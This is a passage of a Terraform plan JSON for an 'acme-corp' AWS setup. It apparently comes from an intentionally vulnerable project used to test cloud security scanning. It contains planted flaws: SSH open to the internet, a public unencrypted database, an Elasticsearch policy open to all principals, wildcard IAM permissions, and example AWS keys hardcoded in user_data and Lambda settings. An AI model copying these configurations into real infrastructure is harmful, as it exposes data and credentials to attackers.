"server_side_encryption_configuration": [], "tags": {}, "versioning": true, "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.logs", "mode": "managed", "type": "aws_s3_bucket", "name": "logs", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "log-delivery-write", "bucket": "123456789123-acme-corp-logs", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ { "sse_algorithm": "aws:kms" } ] } ] } ], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-logs" }, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ { "kms_master_key_id": true } ] } ] } ], "tags": {}, "versioning": [ {} ], "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.operations", "mode": "managed", "type": "aws_s3_bucket", "name": "operations", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-operations", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-operations" }, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags": {}, "versioning": [ {} ], "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket_object.data_object", "mode": "managed", "type": "aws_s3_bucket_object", "name": "data_object", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "cache_control": null, "content": null, "content_base64": null, "content_disposition": null, "content_encoding": null, "content_language": null, "force_destroy": false, "key": "customer-master.xlsx", "metadata": null, "object_lock_legal_hold_status": null, "object_lock_mode": null, "object_lock_retain_until_date": null, "source": "resources/customer-master.xlsx", "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-customer-master" }, "website_redirect": null }, "after_unknown": { "bucket": true, "content_type": true, "etag": true, "id": true, "kms_key_id": true, "server_side_encryption": true, "storage_class": true, "tags": {}, "version_id": true } } }, { "address": "aws_security_group.default", "mode": "managed", "type": "aws_security_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "Managed by Terraform", "name": "123456789123-acme-corp-rds-sg", "name_prefix": null, "revoke_rules_on_delete": false, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-rds-sg" }, "timeouts": null }, "after_unknown": { "arn": true, "egress": true, "id": true, "ingress": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_security_group.web-node", "mode": "managed", "type": "aws_security_group", "name": "web-node", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "123456789123-acme-corp Security Group", "egress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 0, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "-1", "security_groups": [], "self": false, "to_port": 0 } ], "ingress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 22, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_groups": [], "self": false, "to_port": 22 }, { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 80, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_groups": [], "self": false, "to_port": 80 } ], "name": "123456789123-acme-corp-sg", "name_prefix": null, "revoke_rules_on_delete": false, "tags": null, "timeouts": null }, "after_unknown": { "arn": true, "egress": [ { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] } ], "id": true, "ingress": [ { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] }, { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] } ], "owner_id": true, "vpc_id": true } } }, { "address": "aws_security_group_rule.egress", "mode": "managed", "type": "aws_security_group_rule", "name": "egress", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "cidr_blocks": [ "0.0.0.0/0" ], "description": null, "from_port": 0, "ipv6_cidr_blocks": null, "prefix_list_ids": null, "protocol": "-1", "self": false, "to_port": 0, "type": "egress" }, "after_unknown": { "cidr_blocks": [ false ], "id": true, "security_group_id": true, "source_security_group_id": true } } }, { "address": "aws_security_group_rule.ingress", "mode": "managed", "type": "aws_security_group_rule", "name": "ingress", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "cidr_blocks": [ "172.16.0.0/16" ], "description": null, "from_port": 3306, "ipv6_cidr_blocks": null, "prefix_list_ids": null, "protocol": "tcp", "self": false, "to_port": 3306, "type": "ingress" }, "after_unknown": { "cidr_blocks": [ false ], "id": true, "security_group_id": true, "source_security_group_id": true } } }, { "address": "aws_subnet.eks_subnet1", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet1", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2a", "cidr_block": "10.10.10.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-eks-subnet", "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_subnet.eks_subnet2", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet2", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2b", "cidr_block": "10.10.11.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-eks-subnet2", "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_subnet.web_subnet", "mode": "managed", "type": "aws_subnet", "name": "web_subnet", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2a", "cidr_block": "172.16.10.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-subnet" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_subnet.web_subnet2", "mode": "managed", "type": "aws_subnet", "name": "web_subnet2", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2b", "cidr_block": "172.16.11.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-subnet2" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_volume_attachment.ebs_att", "mode": "managed", "type": "aws_volume_attachment", "name": "ebs_att", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "device_name": "/dev/sdh", "force_detach": null, "skip_destroy": null }, "after_unknown": { "id": true, "instance_id": true, "volume_id": true } } }, { "address": "aws_vpc.eks_vpc", "mode": "managed", "type": "aws_vpc", "name": "eks_vpc", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_generated_ipv6_cidr_block": false, "cidr_block": "10.10.0.0/16", "enable_dns_hostnames": true, "enable_dns_support": true, "instance_tenancy": "default", "tags": { "Name": "123456789123-acme-corp-eks-vpc" } }, "after_unknown": { "arn": true, "default_network_acl_id": true, "default_route_table_id": true, "default_security_group_id": true, "dhcp_options_id": true, "enable_classiclink": true, "enable_classiclink_dns_support": true, "id": true, "ipv6_association_id": true, "ipv6_cidr_block": true, "main_route_table_id": true, "owner_id": true, "tags": {} } } }, { "address": "aws_vpc.web_vpc", "mode": "managed", "type": "aws_vpc", "name": "web_vpc", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_generated_ipv6_cidr_block": false, "cidr_block": "172.16.0.0/16", "enable_dns_hostnames": true, "enable_dns_support": true, "instance_tenancy": "default", "tags": { "Name": "123456789123-acme-corp-vpc" } }, "after_unknown": { "arn": true, "default_network_acl_id": true, "default_route_table_id": true, "default_security_group_id": true, "dhcp_options_id": true, "enable_classiclink": true, "enable_classiclink_dns_support": true, "id": true, "ipv6_association_id": true, "ipv6_cidr_block": true, "main_route_table_id": true, "owner_id": true, "tags": {} } } }, { "address": "null_resource.push_image", "mode": "managed", "type": "null_resource", "name": "push_image", "provider_name": "null", "change": { "actions": [ "create" ], "before": null, "after": { "triggers": null }, "after_unknown": { "id": true } } } ], "output_changes": { "db_app_public_dns": { "actions": [ "create" ], "before": null, "after_unknown": true }, "db_endpoint": { "actions": [ "create" ], "before": null, "after_unknown": true }, "ec2_public_dns": { "actions": [ "create" ], "before": null, "after_unknown": true }, "endpoint": { "actions": [ "create" ], "before": null, "after_unknown": true }, "kubeconfig-certificate-authority-data": { "actions": [ "create" ], "before": null, "after_unknown": true }, "public_subnet": { "actions": [ "create" ], "before": null, "after_unknown": true }, "public_subnet2": { "actions": [ "create" ], "before": null, "after_unknown": true }, "secret": { "actions": [ "create" ], "before": null, "after_unknown": true }, "username": { "actions": [ "create" ], "before": null, "after": "123456789123-acme-corp-user", "after_unknown": false }, "vpc_id": { "actions": [ "create" ], "before": null, "after_unknown": true } }, "prior_state": { "format_version": "0.1", "terraform_version": "0.12.23", "values": { "root_module": { "resources": [ { "address": "data.aws_ami.amazon-linux-2", "mode": "data", "type": "aws_ami", "name": "amazon-linux-2", "provider_name": "aws", "schema_version": 0, "values": { "architecture": "x86_64", "arn": "arn:aws:ec2:us-west-2::image/ami-0f0a6d00932023856", "block_device_mappings": [ { "device_name": "/dev/xvda", "ebs": { "delete_on_termination": "true", "encrypted": "false", "iops": "0", "snapshot_id": "snap-06c1606ba5ca274b1", "volume_size": "8", "volume_type": "standard" }, "no_device": "", "virtual_name": "" } ], "creation_date": "2020-09-22T02:09:24.000Z", "description": "Amazon Linux 2 AMI 2.0.20200917.0 x86_64 HVM ebs", "executable_users": null, "filter": [ { "name": "name", "values": [ "amzn2-ami-hvm-*-x86_64-ebs" ] }, { "name": "owner-alias", "values": [ "amazon" ] } ], "hypervisor": "xen", "id": "ami-0f0a6d00932023856", "image_id": "ami-0f0a6d00932023856", "image_location": "amazon/amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs", "image_owner_alias": "amazon", "image_type": "machine", "kernel_id": null, "most_recent": true, "name": "amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs", "name_regex": null, "owner_id": "137112412989", "owners": [ "amazon" ], "platform": null, "product_codes": [], "public": true, "ramdisk_id": null, "root_device_name": "/dev/xvda", "root_device_type": "ebs", "root_snapshot_id": "snap-06c1606ba5ca274b1", "sriov_net_support": "simple", "state": "available", "state_reason": { "code": "UNSET", "message": "UNSET" }, "tags": {}, "virtualization_type": "hvm" } }, { "address": "data.aws_caller_identity.current", "mode": "data", "type": "aws_caller_identity", "name": "current", "provider_name": "aws", "schema_version": 0, "values": { "account_id": "123456789123", "arn": "arn:aws:iam::123456789123:user/barak@bridgecrew.io", "id": "123456789123", "user_id": "AIDA2MPWNTLGWKZRRDYTT" } }, { "address": "data.aws_iam_policy_document.iam_policy_eks", "mode": "data", "type": "aws_iam_policy_document", "name": "iam_policy_eks", "provider_name": "aws", "schema_version": 0, "values": { "id": "189502314", "json": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"eks.amazonaws.com\"\n }\n }\n ]\n}", "override_json": null, "policy_id": null, "source_json": null, "statement": [ { "actions": [ "sts:AssumeRole" ], "condition": [], "effect": "Allow", "not_actions": [], "not_principals": [], "not_resources": [], "principals": [ { "identifiers": [ "eks.amazonaws.com" ], "type": "Service" } ], "resources": [], "sid": "" } ], "version": "2012-10-17" } }, { "address": "data.aws_iam_policy_document.policy", "mode": "data", "type": "aws_iam_policy_document", "name": "policy", "provider_name": "aws", "schema_version": 0, "values": { "id": "3931805674", "json": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"es:*\",\n \"Resource\": \"*\",\n \"Principal\": {\n \"AWS\": \"*\"\n }\n }\n ]\n}", "override_json": null, "policy_id": null, "source_json": null, "statement": [ { "actions": [ "es:*" ], "condition": [], "effect": "Allow", "not_actions": [], "not_principals": [], "not_resources": [], "principals": [ { "identifiers": [ "*" ], "type": "AWS" } ], "resources": [ "*" ], "sid": "" } ], "version": "2012-10-17" } } ] } } }, "configuration": { "provider_config": { "aws": { "name": "aws", "expressions": { "profile": { "constant_value": "acme3" }, "region": { "constant_value": "us-west-2" } } } }, "root_module": { "outputs": { "db_app_public_dns": { "expression": { "references": [ "aws_instance.db_app" ] }, "description": "DB Public DNS name" }, "db_endpoint": { "expression": { "references": [ "aws_db_instance.default" ] }, "description": "DB Endpoint" }, "ec2_public_dns": { "expression": { "references": [ "aws_instance.web_host" ] }, "description": "Web Host Public DNS name" }, "endpoint": { "expression": { "references": [ "aws_eks_cluster.eks_cluster" ] } }, "kubeconfig-certificate-authority-data": { "expression": { "references": [ "aws_eks_cluster.eks_cluster" ] } }, "public_subnet": { "expression": { "references": [ "aws_subnet.web_subnet" ] }, "description": "The ID of the Public subnet" }, "public_subnet2": { "expression": { "references": [ "aws_subnet.web_subnet2" ] }, "description": "The ID of the Public subnet" }, "secret": { "expression": { "references": [ "aws_iam_access_key.user" ] } }, "username": { "expression": { "references": [ "aws_iam_user.user" ] } }, "vpc_id": { "expression": { "references": [ "aws_vpc.web_vpc" ] }, "description": "The ID of the VPC" } }, "resources": [ { "address": "aws_db_instance.default", "mode": "managed", "type": "aws_db_instance", "name": "default", "provider_config_key": "aws", "expressions": { "allocated_storage": { "constant_value": "20" }, "apply_immediately": { "constant_value": true }, "backup_retention_period": { "constant_value": 0 }, "db_subnet_group_name": { "references": [ "aws_db_subnet_group.default" ] }, "engine": { "constant_value": "mysql" }, "engine_version": { "constant_value": "8.0" }, "identifier": { "references": [ "local.resource_prefix" ] }, "instance_class": { "constant_value": "db.t3.micro" }, "monitoring_interval": { "constant_value": 0 }, "multi_az": { "constant_value": false }, "name": { "references": [ "var.dbname" ] }, "option_group_name": { "references": [ "aws_db_option_group.default" ] }, "parameter_group_name": { "references": [ "aws_db_parameter_group.default" ] }, "password": { "references": [ "var.password" ] }, "publicly_accessible": { "constant_value": true }, "skip_final_snapshot": { "constant_value": true }, "storage_encrypted": { "constant_value": false }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] }, "username": { "constant_value": "admin" }, "vpc_security_group_ids": { "references": [ "aws_security_group.default" ] } }, "schema_version": 1 }, { "address": "aws_db_option_group.default", "mode": "managed", "type": "aws_db_option_group", "name": "default", "provider_config_key": "aws", "expressions": { "engine_name": { "constant_value": "mysql" }, "major_engine_version": { "constant_value": "8.0" }, "name": { "references": [ "local.resource_prefix" ] }, "option_group_description": { "constant_value": "Terraform OG" }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_db_parameter_group.default", "mode": "managed", "type": "aws_db_parameter_group", "name": "default", "provider_config_key": "aws", "expressions": { "description": { "constant_value": "Terraform PG" }, "family": { "constant_value": "mysql8.0" }, "name": { "references": [ "local.resource_prefix" ] }, "parameter": [ { "apply_method": { "constant_value": "immediate" }, "name": { "constant_value": "character_set_client" }, "value": { "constant_value": "utf8" } }, { "apply_method": { "constant_value": "immediate" }, "name": { "constant_value": "character_set_server" }, "value": { "constant_value": "utf8" } } ], "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_db_subnet_group.default", "mode": "managed", "type": "aws_db_subnet_group", "name": "default", "provider_config_key": "aws", "expressions": { "description": { "constant_value": "Terraform DB Subnet Group" }, "name": { "references": [ "local.resource_prefix" ] }, "subnet_ids": { "references": [ "aws_subnet.web_subnet", "aws_subnet.web_subnet2" ] }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_ebs_snapshot.example_snapshot", "mode": "managed", "type": "aws_ebs_snapshot", "name": "example_snapshot", "provider_config_key": "aws", "expressions": { "description": { "references": [ "local.resource_prefix" ] }, "tags": { "references": [ "local.resource_prefix" ] }, "volume_id": { "references": [ "aws_ebs_volume.web_host_storage" ] } }, "schema_version": 0 }, { "address": "aws_ebs_volume.web_host_storage", "mode": "managed", "type": "aws_ebs_volume", "name": "web_host_storage", "provider_config_key": "aws", "expressions": { "availability_zone": { "references": [ "var.availability_zone" ] }, "size": { "constant_value": 1 }, "tags": { "references": [ "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_ecr_repository.repository", "mode": "managed", "type": "aws_ecr_repository", "name": "repository", "provider_config_key": "aws", "expressions": { "image_tag_mutability": { "constant_value": "MUTABLE" }, "name": { "references": [ "local.resource_prefix" ] }, "tags": { "references": [ "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_eks_cluster.eks_cluster", "mode": "managed", "type": "aws_eks_cluster", "name": "eks_cluster", "provider_config_key": "aws", "expressions": { "name": { "references": [ "local.eks_name" ] }, "role_arn": { "references": [ "aws_iam_role.iam_for_eks" ] }, "vpc_config": [ { "endpoint_private_access": { "constant_value": true }, "subnet_ids": { "references": [ "aws_subnet.eks_subnet1", "aws_subnet.eks_subnet2" ] } } ] }, "schema_version": 0, "depends_on": [ "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy", "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy" ] }, { "address": "aws_elasticsearch_domain.monitoring-framework", "mode": "managed", "type": "aws_elasticsearch_domain", "name": "monitoring-framework", "provider_config_key": "aws", "expressions": { "cluster_config": [ { "dedicated_master_count": { "constant_value": 1 }, "dedicated_master_enabled": { "constant_value": false }, "dedicated_master_type": { "constant_value": "m4.large.elasticsearch" }, "instance_count": { "constant_value": 1 }, "instance_type": { "constant_value": "t2.small.elasticsearch" } } ], "domain_name": { "references": [ "var.environment" ] }, "ebs_options": [ { "ebs_enabled": { "constant_value": true }, "volume_size": { "constant_value": 30 } } ], "elasticsearch_version": { "constant_value": "2.3" } }, "schema_version": 0 }, { "address": "aws_elasticsearch_domain_policy.monitoring-framework-policy", "mode": "managed", "type": "aws_elasticsearch_domain_policy", "name": "monitoring-framework-policy", "provider_config_key": "aws", "expressions": { "access_policies": { "references": [ "data.aws_iam_policy_document.policy" ] }, "domain_name": { "references": [ "aws_elasticsearch_domain.monitoring-framework" ] } }, "schema_version": 0 }, { "address": "aws_elb.weblb", "mode": "managed", "type": "aws_elb", "name": "weblb", "provider_config_key": "aws", "expressions": { "connection_draining": { "constant_value": true }, "connection_draining_timeout": { "constant_value": 400 }, "cross_zone_load_balancing": { "constant_value": true }, "health_check": [ { "healthy_threshold": { "constant_value": 2 }, "interval": { "constant_value": 30 }, "target": { "constant_value": "HTTP:8000/" }, "timeout": { "constant_value": 3 }, "unhealthy_threshold": { "constant_value": 2 } } ], "idle_timeout": { "constant_value": 400 }, "instances": { "references": [ "aws_instance.web_host" ] }, "listener": [ { "instance_port": { "constant_value": 8000 }, "instance_protocol": { "constant_value": "http" }, "lb_port": { "constant_value": 80 }, "lb_protocol": { "constant_value": "http" } } ], "name": { "constant_value": "weblb-terraform-elb" }, "security_groups": { "references": [ "aws_security_group.web-node" ] }, "subnets": { "references": [ "aws_subnet.web_subnet" ] }, "tags": { "constant_value": { "Name": "foobar-terraform-elb" } } }, "schema_version": 0 }, { "address": "aws_flow_log.vpcflowlogs", "mode": "managed", "type": "aws_flow_log", "name": "vpcflowlogs", "provider_config_key": "aws", "expressions": { "log_destination": { "references": [ "aws_s3_bucket.flowbucket" ] }, "log_destination_type": { "constant_value": "s3" }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] }, "traffic_type": { "constant_value": "ALL" }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 0 }, { "address": "aws_iam_access_key.user", "mode": "managed", "type": "aws_iam_access_key", "name": "user", "provider_config_key": "aws", "expressions": { "user": { "references": [ "aws_iam_user.user" ] } }, "schema_version": 0 }, { "address": "aws_iam_instance_profile.ec2profile", "mode": "managed", "type": "aws_iam_instance_profile", "name": "ec2profile", "provider_config_key": "aws", "expressions": { "name": { "references": [ "local.resource_prefix" ] }, "role": { "references": [ "aws_iam_role.ec2role" ] } }, "schema_version": 0 }, { "address": "aws_iam_role.ec2role", "mode": "managed", "type": "aws_iam_role", "name": "ec2role", "provider_config_key": "aws", "expressions": { "assume_role_policy": { "constant_value": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n" }, "name": { "references": [ "local.resource_prefix" ] }, "path": { "constant_value": "/" }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_iam_role.iam_for_eks", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_eks", "provider_config_key": "aws", "expressions": { "assume_role_policy": { "references": [ "data.aws_iam_policy_document.iam_policy_eks" ] }, "name": { "references": [ "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_iam_role.iam_for_lambda", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_lambda", "provider_config_key": "aws", "expressions": { "assume_role_policy": { "constant_value": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"lambda.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n" }, "name": { "references": [ "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_iam_role_policy.ec2policy", "mode": "managed", "type": "aws_iam_role_policy", "name": "ec2policy", "provider_config_key": "aws", "expressions": { "name": { "references": [ "local.resource_prefix" ] }, "policy": { "constant_value": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"s3:*\",\n \"ec2:*\",\n \"rds:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n" }, "role": { "references": [ "aws_iam_role.ec2role" ] } }, "schema_version": 0 }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSClusterPolicy", "provider_config_key": "aws", "expressions": { "policy_arn": { "constant_value": "arn:aws:iam::aws:policy/AmazonEKSClusterPolicy" }, "role": { "references": [ "aws_iam_role.iam_for_eks" ] } }, "schema_version": 0 }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSServicePolicy", "provider_config_key": "aws", "expressions": { "policy_arn": { "constant_value": "arn:aws:iam::aws:policy/AmazonEKSServicePolicy" }, "role": { "references": [ "aws_iam_role.iam_for_eks" ] } }, "schema_version": 0 }, { "address": "aws_iam_user.user", "mode": "managed", "type": "aws_iam_user", "name": "user", "provider_config_key": "aws", "expressions": { "force_destroy": { "constant_value": true }, "name": { "references": [ "local.resource_prefix" ] }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_iam_user_policy.userpolicy", "mode": "managed", "type": "aws_iam_user_policy", "name": "userpolicy", "provider_config_key": "aws", "expressions": { "name": { "constant_value": "excess_policy" }, "policy": { "constant_value": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"ec2:*\",\n \"s3:*\",\n \"lambda:*\",\n \"cloudwatch:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n" }, "user": { "references": [ "aws_iam_user.user" ] } }, "schema_version": 0 }, { "address": "aws_instance.db_app", "mode": "managed", "type": "aws_instance", "name": "db_app", "provider_config_key": "aws", "expressions": { "ami": { "references": [ "data.aws_ami.amazon-linux-2" ] }, "iam_instance_profile": { "references": [ "aws_iam_instance_profile.ec2profile" ] }, "instance_type": { "constant_value": "t2.nano" }, "subnet_id": { "references": [ "aws_subnet.web_subnet" ] }, "tags": { "references": [ "local.resource_prefix" ] }, "user_data": { "references": [ "aws_db_instance.default", "aws_db_instance.default", "var.password", "aws_db_instance.default" ] }, "vpc_security_group_ids": { "references": [ "aws_security_group.web-node" ] } }, "schema_version": 1 }, { "address": "aws_instance.web_host", "mode": "managed", "type": "aws_instance", "name": "web_host", "provider_config_key": "aws", "expressions": { "ami": { "references": [ "var.ami" ] }, "instance_type": { "constant_value": "t2.nano" }, "subnet_id": { "references": [ "aws_subnet.web_subnet" ] }, "tags": { "references": [ "local.resource_prefix" ] }, "user_data": { "constant_value": "#! /bin/bash\nsudo apt-get update\nsudo apt-get install -y apache2\nsudo systemctl start apache2\nsudo systemctl enable apache2\nexport AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMAAA\nexport AWS_SECRET_ACCESS_KEY=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\nexport AWS_DEFAULT_REGION=us-west-2\necho \"\u003ch1\u003eDeployed via Terraform\u003c/h1\u003e\" | sudo tee /var/www/html/index.html\n" }, "vpc_security_group_ids": { "references": [ "aws_security_group.web-node" ] } }, "schema_version": 1 }, { "address": "aws_internet_gateway.web_igw", "mode": "managed", "type": "aws_internet_gateway", "name": "web_igw", "provider_config_key": "aws", "expressions": { "tags": { "references": [ "local.resource_prefix" ] }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 0 }, { "address": "aws_kms_alias.logs_key_alias", "mode": "managed", "type": "aws_kms_alias", "name": "logs_key_alias", "provider_config_key": "aws", "expressions": { "name": { "references": [ "local.resource_prefix" ] }, "target_key_id": { "references": [ "aws_kms_key.logs_key" ] } }, "schema_version": 0 }, { "address": "aws_kms_key.logs_key", "mode": "managed", "type": "aws_kms_key", "name": "logs_key", "provider_config_key": "aws", "expressions": { "deletion_window_in_days": { "constant_value": 7 }, "description": { "references": [ "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_lambda_function.analysis_lambda", "mode": "managed", "type": "aws_lambda_function", "name": "analysis_lambda", "provider_config_key": "aws", "expressions": { "environment": [ { "variables": { "constant_value": { "access_key": "AKIAIOSFODNN7EXAMPLE", "secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" } } } ], "filename": { "constant_value": "resources/lambda_function_payload.zip" }, "function_name": { "references": [ "local.resource_prefix" ] }, "handler": { "constant_value": "exports.test" }, "role": { "references": [ "aws_iam_role.iam_for_lambda" ] }, "runtime": { "constant_value": "nodejs12.x" }, "source_code_hash": {} }, "schema_version": 0 }, { "address": "aws_neptune_cluster.default", "mode": "managed", "type": "aws_neptune_cluster", "name": "default", "provider_config_key": "aws", "expressions": { "apply_immediately": { "constant_value": true }, "backup_retention_period": { "constant_value": 5 }, "cluster_identifier": { "references": [ "var.neptune-dbname" ] }, "engine": { "constant_value": "neptune" }, "iam_database_authentication_enabled": { "constant_value": false }, "preferred_backup_window": { "constant_value": "07:00-09:00" }, "skip_final_snapshot": { "constant_value": true }, "storage_encrypted": { "constant_value": false } }, "schema_version": 0 }, { "address": "aws_neptune_cluster_instance.default", "mode": "managed", "type": "aws_neptune_cluster_instance", "name": "default", "provider_config_key": "aws", "expressions": { "apply_immediately": { "constant_value": true }, "cluster_identifier": { "references": [ "aws_neptune_cluster.default" ] }, "engine": { "constant_value": "neptune" }, "instance_class": { "constant_value": "db.t3.medium" } }, "schema_version": 0, "count_expression": { "constant_value": 1 } }, { "address": "aws_neptune_cluster_snapshot.default", "mode": "managed", "type": "aws_neptune_cluster_snapshot", "name": "default", "provider_config_key": "aws", "expressions": { "db_cluster_identifier": { "references": [ "aws_neptune_cluster.default" ] }, "db_cluster_snapshot_identifier": { "constant_value": "resourcetestsnapshot1" } }, "schema_version": 0 }, { "address": "aws_network_interface.web-eni", "mode": "managed", "type": "aws_network_interface", "name": "web-eni", "provider_config_key": "aws", "expressions": { "private_ips": { "constant_value": [ "172.16.10.100" ] }, 